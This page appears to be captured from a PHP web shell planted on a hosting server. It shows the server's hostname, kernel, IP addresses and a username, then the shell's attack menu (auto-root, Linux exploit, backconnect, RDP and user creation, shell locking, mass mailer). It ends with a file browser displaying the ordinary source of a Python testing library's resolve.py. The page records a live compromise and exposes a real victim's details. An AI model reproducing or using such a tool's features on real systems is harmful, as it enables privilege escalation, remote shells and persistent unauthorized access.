Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.224.68.177
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
testfixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
1.19
KB
-rw-r--r--
comparison.py
39.14
KB
-rw-r--r--
compat.py
224
B
-rw-r--r--
components.py
1.31
KB
-rw-r--r--
datetime.py
24.42
KB
-rw-r--r--
django.py
2.88
KB
-rw-r--r--
logcapture.py
10.75
KB
-rw-r--r--
mock.py
1.21
KB
-rw-r--r--
outputcapture.py
4.69
KB
-rw-r--r--
popen.py
9.89
KB
-rw-r--r--
replace.py
12.15
KB
-rw-r--r--
resolve.py
2.05
KB
-rw-r--r--
rmtree.py
2.52
KB
-rw-r--r--
shouldraise.py
3.58
KB
-rw-r--r--
shouldwarn.py
2.21
KB
-rw-r--r--
sybil.py
2.28
KB
-rw-r--r--
tempdirectory.py
12.89
KB
-rw-r--r--
twisted.py
4.8
KB
-rw-r--r--
utils.py
2.74
KB
-rw-r--r--
version.txt
6
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : resolve.py
from operator import setitem from typing import Any, Callable, Optional from testfixtures import not_there # Should be Literal[setattr, getattr] but Python 3.8 only. Setter = Callable[[Any, str, Any], None] class Resolved: def __init__(self, container: Any, setter: Setter, name: str, found: Any): self.container: Any = container self.setter: Setter = setter self.name: str = name self.found: Any = found def __repr__(self): return f'<Resolved: {self.found}>' def resolve(dotted_name: str, container: Optional[Any] = None) -> Resolved: names = dotted_name.split('.') used = names.pop(0) if container is None: found = __import__(used) container = found else: assert not used, 'Absolute traversal not allowed when container supplied' used = '' found = container setter = None name = None for name in names: container = found used += '.' + name try: found = getattr(found, name) setter = setattr except AttributeError: try: __import__(used) except ImportError: setter = setitem try: found = found[name] # pragma: no branch except KeyError: found = not_there # pragma: no branch except TypeError: try: name = int(name) except ValueError: setter = setattr found = not_there else: found = found[name] # pragma: no branch else: found = getattr(found, name) setter = getattr return Resolved(container, setter, name, found) class _Reference: @classmethod def classmethod(cls): # pragma: no cover pass @staticmethod def staticmethod(cls): # pragma: no cover pass class_type = type(_Reference) classmethod_type = type(_Reference.classmethod)
Close